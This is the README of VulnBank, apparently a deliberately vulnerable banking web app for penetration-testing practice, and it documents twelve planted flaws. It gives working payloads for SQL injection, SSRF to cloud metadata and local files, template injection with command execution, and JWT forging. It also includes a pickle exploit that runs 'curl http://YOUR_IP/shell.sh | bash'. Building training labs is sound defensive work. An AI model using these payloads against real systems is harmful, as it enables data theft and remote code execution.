## https://sploitus.com/exploit?id=4691B857-4F26-560F-99C8-66C94D9E987B
# VulnBank β Intentionally Vulnerable Banking Web Application
> **FOR SECURITY TRAINING ONLY. NEVER DEPLOY TO PRODUCTION OR PUBLIC NETWORKS.**
VulnBank is a realistic, intentionally vulnerable online banking application designed for penetration testers, security engineers, and OSCP/OSEP/BSCP students to practice web application exploitation techniques in a safe, isolated environment. It simulates a modern fintech stack complete with a REST API, JWT authentication, MongoDB, SQLite, cloud IMDS simulation, and an admin bot β all deliberately riddled with real-world vulnerabilities.
---
## Table of Contents
- [Features](#features)
- [Vulnerability Coverage](#vulnerability-coverage)
- [Architecture](#architecture)
- [Quick Start](#quick-start)
- [Default Credentials](#default-credentials)
- [Attack Scenarios](#attack-scenarios)
- [Troubleshooting](#troubleshooting)
- [Legal Disclaimer](#legal-disclaimer)
---
## Features
- Modern banking UI (dashboard, accounts, cards, transfers, profile, PDF statements)
- REST API backend in Flask with JWT-based authentication
- SQLite (user/account data) + MongoDB (activity logs)
- Nginx reverse proxy
- Mock AWS EC2 Instance Metadata Service (IMDS) at `169.254.169.254`
- Admin bot that periodically visits flagged pages (for XSS chaining)
- Multi-tier subscription system (Bronze / Silver / Gold) with transfer limits
- PDF statement generation via WeasyPrint
---
## Vulnerability Coverage
VulnBank intentionally contains the following vulnerability classes. Each one maps to a real-world finding category and is exploitable without modifying the application.
### 1. SQL Injection (Error-Based / UNION)
**Endpoint:** `GET /api/account/`
**Endpoint:** `GET /api/accounts/search?q=`
The account lookup and account search endpoints build SQL queries via f-string interpolation with no parameterisation. Both are injectable and return error detail in the JSON response.
```
GET /api/account/1' OR '1'='1
GET /api/accounts/search?q=' UNION SELECT username,password,ssn,4,5,6,7,8 FROM users--
```
Impact: Dump all users, SSNs, password hashes, account numbers.
---
### 2. Server-Side Request Forgery (SSRF)
**Endpoint:** `GET /api/fetch-statement?url=`
The statement-fetching endpoint accepts an arbitrary URL and makes a server-side HTTP request. The blocklist only filters `127.0.0.1` and `localhost` β it does not block `169.254.169.254` (AWS IMDS).
```
GET /api/fetch-statement?url=http://169.254.169.254/latest/meta-data/
GET /api/fetch-statement?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/vulnbank-prod-role
GET /api/fetch-statement?url=http://internal-admin:9000/
```
Impact: Steal AWS IAM temporary credentials, enumerate internal services.
---
### 3. Local File Read via SSRF (file:// Protocol)
**Endpoint:** `GET /api/fetch-statement?url=file:///etc/passwd`
The same SSRF endpoint supports the `file://` scheme, allowing arbitrary file reads from the container filesystem.
```
GET /api/fetch-statement?url=file:///etc/passwd
GET /api/fetch-statement?url=file:///app/backend/data/vulnbank.db
GET /api/fetch-statement?url=file:///proc/self/environ
```
Impact: Read /etc/passwd, environment variables, source code, SQLite database.
---
### 4. Server-Side Template Injection (SSTI) β via PDF Generation
**Endpoint:** `GET /api/pdf/statement`
**Trigger:** Update your profile's `full_name` field via `POST /api/profile/update`
The PDF generation route performs a naive string-replace to inject user profile data into a Jinja2 template before calling `render_template_string`. A blacklist filters keywords like `self`, `os`, `import`, `popen` but is bypassable using attribute chaining.
```json
POST /api/profile/update
{ "full_name": "{{lipsum.__globals__['__builtins__']['__import__']('os').popen('id').read()}}" }
```
Then request `GET /api/pdf/statement` β the output appears inside the rendered PDF.
Impact: Remote Code Execution (RCE) inside the backend container.
---
### 5. Insecure Deserialization (Python Pickle RCE)
**Endpoint:** `POST /api/cards//repay`
**Content-Type:** `application/octet-stream`
The card repayment endpoint decodes a base64 body and passes it directly to `pickle.loads`. Craft a malicious pickle payload for RCE.
```python
import pickle, base64, os
class Exploit(object):
def __reduce__(self):
return (os.system, ('curl http://YOUR_IP/shell.sh | bash',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
```
```bash
curl -X POST http://localhost/api/cards/1/repay \
-H "Content-Type: application/octet-stream" \
-H "Authorization: Bearer " \
--data "$payload"
```
Impact: Remote Code Execution β full container compromise.
---
### 6. Broken Object Level Authorization / IDOR
**Endpoint:** `GET /api/cards/`
The card detail endpoint fetches a card by numeric `card_id` without verifying the requesting user owns it. Enumerate card IDs (1, 2, 3 β¦) to access other users' card numbers, CVVs, and balances.
```
GET /api/cards/1
GET /api/cards/2
```
---
### 7. Mass Assignment / Privilege Escalation
**Endpoint:** `POST /api/profile/update`
The `subscription_type` field is included in the server's `ALLOWED_FIELDS` list and is directly updated from user-supplied JSON. A Bronze-tier user can escalate themselves to Gold.
```json
POST /api/profile/update
{ "subscription_type": "gold" }
```
Impact: Bypass transfer limits (Bronze: $100k β Gold: $5 million per transfer).
---
### 8. Business Logic β Fee Manipulation
**Endpoint:** `POST /api/transfer`
The transfer endpoint reads a client-supplied `fee` field and uses it directly instead of computing the 10% fee server-side. Setting `fee: 0` eliminates the platform fee entirely.
```json
POST /api/transfer
{
"from_account": "ACC-XXXX",
"to_account": "ACC-YYYY",
"amount": 10000,
"fee": 0
}
```
---
### 9. Weak Cryptography
- Passwords are stored as **MD5 hashes** (no salt).
- JWT secret is `simplybeingcute` (set via environment variable, visible in `docker-compose.yml`).
- OTP payloads are AES-CBC encrypted with a hardcoded key `SecureB@nk2026!!`.
Forge a JWT for any user:
```python
import jwt
payload = {"user_id": 1, "username": "alice", "subscription_type": "gold"}
token = jwt.encode(payload, "simplybeingcute", algorithm="HS256")
```
---
### 10. Stored XSS + Admin Bot Chain
**Endpoint:** `POST /api/profile/update` (full_name, phone, address fields)
Profile fields are reflected in the dashboard without adequate sanitisation. An admin bot visits the application every 60 seconds. Inject a payload that exfiltrates the admin's JWT cookie.
```json
{ "full_name": "" }
```
Impact: Steal the admin session token, pivot to admin functionality.
---
### 11. Sensitive Data Exposure β Database Backup Endpoint
**Endpoint:** `GET /api/backup`
Any authenticated user can download the full SQLite database file (`vulnbank.db`) containing all users, SSNs, password hashes, account numbers, and transactions.
---
### 12. Mock AWS IMDS (Cloud Credential Theft)
A mock IMDS service runs at `169.254.169.254` and exposes:
| Path | Returns |
|---|---|
| `/latest/meta-data/iam/security-credentials/vulnbank-prod-role` | Fake AWS IAM credentials (AccessKeyId, SecretAccessKey, Token) |
| `/latest/user-data` | Bootstrap script containing DB credentials and JWT secrets |
| `/latest/dynamic/instance-identity/document` | Instance identity document |
Reach it via the SSRF vulnerability β the backend container is on the `imds_net` network.
---
## Architecture
```
Browser
|
v
Nginx :80 (reverse proxy)
|
+---> Backend (Flask :8000)
| |
| +---> SQLite (users, accounts, transactions, cards)
| +---> MongoDB (activity logs)
| +---> Internal Admin (:9000) [SSRF target]
| +---> Mock IMDS 169.254.169.254 [SSRF target]
|
Admin Bot (headless browser, visits every 60s)
```
**Services (docker-compose):**
| Service | Role |
|---|---|
| `nginx` | Reverse proxy, serves frontend static files |
| `backend` | Flask REST API |
| `mongo` | MongoDB for activity logging |
| `internal-admin` | Internal admin panel (no auth, SSRF target) |
| `mock-imds` | Simulated AWS EC2 IMDS |
| `admin-bot` | Headless browser that logs in and browses the app |
---
## Quick Start
**Prerequisites:** Docker Desktop (includes Docker Compose). Port 80 must be free.
```bash
git clone https://github.com/htetwp/vulnbank.git
cd vulnbank
docker compose up --build
```
Wait for:
```
backend | * Running on http://0.0.0.0:8000
```
Then open **http://localhost** in your browser.
**Tear down:**
```bash
docker compose down # stop containers
docker compose down -v # stop + wipe all data volumes (fresh start)
```
---
## Default Credentials
| Username | Password | Tier | Notes |
|---|---|---|---|
| `alice` | `7k#Pz9!vM2qL` | Gold | Admin bot account |
| Register your own | β | Bronze | Self-registration is open |
---
## Attack Scenarios
### Beginner Path
1. Register an account β explore the dashboard
2. Use the IDOR on `/api/cards/` to read other users' cards
3. Update `subscription_type` via mass assignment to Gold
4. Use fee manipulation to transfer without paying the 10% fee
### Intermediate Path
5. Extract the JWT secret from `/latest/user-data` via SSRF
6. Forge a JWT as `alice` (the admin)
7. Download the database via `/api/backup`
8. Crack MD5 hashes offline (hashcat mode 0)
### Advanced Path
9. Inject an SSTI payload into `full_name`, bypass the keyword blacklist
10. Trigger `/api/pdf/statement` β achieve RCE inside the backend container
11. Alternatively: craft a Pickle payload for RCE via `/api/cards//repay`
12. Pivot: use the admin bot XSS chain to steal alice's live JWT
---
## Troubleshooting
**Port 80 already in use:**
```bash
sudo lsof -i :80 # macOS/Linux
netstat -ano | findstr :80 # Windows
# kill the process, then:
docker compose up --build
```
**Database errors on first run:**
```bash
docker compose down -v
docker compose up --build
```
**Containers exit immediately:**
```bash
docker compose logs backend
docker compose logs nginx
```
---
## Legal Disclaimer
This application is intentionally insecure and is provided for **educational and security research purposes only**. It must be run in an isolated, offline lab environment. Running this application on a public network or production system is strictly prohibited. The authors accept no liability for misuse.